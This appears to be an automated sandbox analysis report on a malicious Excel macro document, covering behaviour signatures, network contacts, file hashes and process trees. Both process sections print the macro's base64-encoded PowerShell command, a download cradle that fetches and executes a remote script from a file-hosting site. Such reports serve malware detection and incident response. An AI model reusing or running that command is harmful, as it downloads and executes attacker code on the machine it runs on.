Analysis Overview
SHA256
a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4
Threat Level: Known bad
The file a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Blocklisted process makes network request
Deletes itself
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious behavior: RenamesItself
NTFS ADS
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 21:51
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 21:51
Reported
2024-08-08 21:52
Platform
win10v2004-20240802-en
Max time kernel
47s
Max time network
35s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\45975E00\:Zone.Identifier:$DATA | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3592 wrote to memory of 548 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3592 wrote to memory of 548 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
| US | 8.8.8.8:53 | 247.195.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.242.123.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.73.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
Files
memory/3592-0-0x00007FF97C530000-0x00007FF97C540000-memory.dmp
memory/3592-2-0x00007FF97C530000-0x00007FF97C540000-memory.dmp
memory/3592-3-0x00007FF97C530000-0x00007FF97C540000-memory.dmp
memory/3592-5-0x00007FF9BC54D000-0x00007FF9BC54E000-memory.dmp
memory/3592-4-0x00007FF97C530000-0x00007FF97C540000-memory.dmp
memory/3592-6-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-8-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-10-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-11-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-12-0x00007FF979E10000-0x00007FF979E20000-memory.dmp
memory/3592-9-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-7-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-1-0x00007FF97C530000-0x00007FF97C540000-memory.dmp
memory/3592-14-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-13-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-16-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-22-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-21-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-20-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-19-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-18-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-17-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-15-0x00007FF979E10000-0x00007FF979E20000-memory.dmp
memory/3592-50-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
memory/3592-49-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkfpfaoi.4t5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/548-62-0x0000028EAC960000-0x0000028EAC982000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls
| MD5 | 1efaba331b01e9b5fe2802b86fe383f9 |
| SHA1 | acf84ad0480ddfa14a24cd03414c5f91c687e7e2 |
| SHA256 | 3bf387166fab9215af27b2334b35eb43beb196cbde5a7a612aa4324c9e9d2d6a |
| SHA512 | d250eaa792f7a60176ab3edfaee1136bac02aec93134ea0e99161889149582e601ed11c37db7abb93e8ca3c1306dd8dd4bb18cbf44f7d893768c00f1888fa99d |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 886b0cc790efe92cd60559cdcd4cb31a |
| SHA1 | 8816a1819ee0c1a6f01dd6102ffa881b1c9e5056 |
| SHA256 | 021de49edcdcd1945961209a453dc863826efe1f1bd44c56010d6fa99cf03c8d |
| SHA512 | 096261e8aab79d0425a090ffe1b739a8d6f00c1d373fa24c5623fae4282fed80bd945ca5f80ba1d16703ca9388fe47aadaf7de058e375e1190c6a4aef06182bd |
memory/3592-89-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 21:51
Reported
2024-08-08 21:52
Platform
win7-20240704-en
Max time kernel
23s
Max time network
16s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\0A077F00\:Zone.Identifier:$DATA | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: RenamesItself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2080 wrote to memory of 2652 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2080 wrote to memory of 2652 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2080 wrote to memory of 2652 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2080 wrote to memory of 2652 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
Files
memory/2080-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2080-1-0x0000000071D5D000-0x0000000071D68000-memory.dmp
memory/2080-3-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-2-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-5-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-6-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-4-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-7-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2080-15-0x0000000071D5D000-0x0000000071D68000-memory.dmp
memory/2080-16-0x0000000000450000-0x0000000000550000-memory.dmp